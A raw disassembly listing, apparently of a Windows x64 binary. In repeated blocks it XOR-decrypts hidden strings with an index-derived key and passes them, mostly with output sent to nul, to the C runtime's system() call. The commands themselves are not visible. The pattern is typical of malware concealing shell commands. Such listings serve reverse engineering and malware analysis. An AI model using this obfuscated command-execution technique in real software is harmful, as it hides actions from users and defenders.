movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400597e1
cmp r8d, 0x31
jge 0x140059911
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400598e0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x29c0]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x29e0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x29e0]
call fcn.14007a350
lea rcx, [rbp + 0x29c0]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x345b]
lea rcx, [rbp + 0x30]
mov byte [rbp + 0x30], al
call fcn.140073510
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059ad1
mov r8d, r14d
cmp r15d, 2
jl 0x140059a94
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400599a1
cmp r8d, 0x31
jge 0x140059ad1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140059aa0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2a00]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a20]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a20]
call fcn.14007a350
lea rcx, [rbp + 0x2a00]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x348c]
lea rcx, [rbp + 0x31]
mov byte [rbp + 0x31], al
call fcn.140073540
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059c91
mov r8d, r14d
cmp r15d, 2
jl 0x140059c54
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140059b61
cmp r8d, 0x31
jge 0x140059c91
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140059c60
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2a40]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a60]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a60]
call fcn.14007a350
lea rcx, [rbp + 0x2a40]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3582]
lea rcx, [rbp + 0x32]
mov byte [rbp + 0x32], al
call fcn.140073570
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140059e51
mov r8d, r14d
cmp r15d, 2
jl 0x140059e14
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140059d21
cmp r8d, 0x32
jge 0x140059e51
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140059e20
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2a80]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2aa0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2aa0]
call fcn.14007a350
lea rcx, [rbp + 0x2a80]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x34bd]
lea rcx, [rbp + 0x33]
mov byte [rbp + 0x33], al
call fcn.1400735a0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005a011
mov r8d, r14d
cmp r15d, 2
jl 0x140059fd4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140059ee1
cmp r8d, 0x31
jge 0x14005a011
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140059fe0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2ac0]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ae0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ae0]
call fcn.14007a350
lea rcx, [rbp + 0x2ac0]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3abc]
lea rcx, [rbp + 0x34]
mov byte [rbp + 0x34], al
call fcn.1400735d0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x14005a1d1
mov r8d, r14d
cmp r15d, 2
jl 0x14005a194
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a0a1
cmp r8d, 0x3a
jge 0x14005a1d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005a1a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x34ee]
lea rcx, [rbp + 0x35]
mov byte [rbp + 0x35], al
call fcn.140073610
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005a351
mov r8d, r14d
cmp r15d, 2
jl 0x14005a313
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005a220
cmp r8d, 0x31
jge 0x14005a351
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005a320
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2b00]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b20]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b20]
call fcn.14007a350
lea rcx, [rbp + 0x2b00]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x351f]
lea rcx, [rbp + 0x36]
mov byte [rbp + 0x36], al
call fcn.140073640
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005a511
mov r8d, r14d
cmp r15d, 2
jl 0x14005a4d4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005a3e1
cmp r8d, 0x31
jge 0x14005a511
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005a4e0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2b40]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b60]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b60]
call fcn.14007a350
lea rcx, [rbp + 0x2b40]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3af6]
lea rcx, [rbp + 0x37]
mov byte [rbp + 0x37], al
call fcn.140073670
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x14005a6d1
mov r8d, r14d
cmp r15d, 2
jl 0x14005a694
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a5a1
cmp r8d, 0x3a
jge 0x14005a6d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005a6a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3b30]
lea rcx, [rbp + 0x38]
mov byte [rbp + 0x38], al
call fcn.1400736b0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x14005a851
mov r8d, r14d
cmp r15d, 2
jl 0x14005a813
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a720
cmp r8d, 0x3a
jge 0x14005a851
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005a820
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3b6a]
lea rcx, [rbp + 0x39]
mov byte [rbp + 0x39], al
call fcn.1400736f0
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x14005a9d1
mov r8d, r14d
cmp r15d, 2
jl 0x14005a993
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a8a0
cmp r8d, 0x3b
jge 0x14005a9d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x14005a9a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x35b4]
lea rcx, [rbp + 0x3a]
mov byte [rbp + 0x3a], al
call fcn.140073740
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005ab51
mov r8d, r14d
cmp r15d, 2
jl 0x14005ab13
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
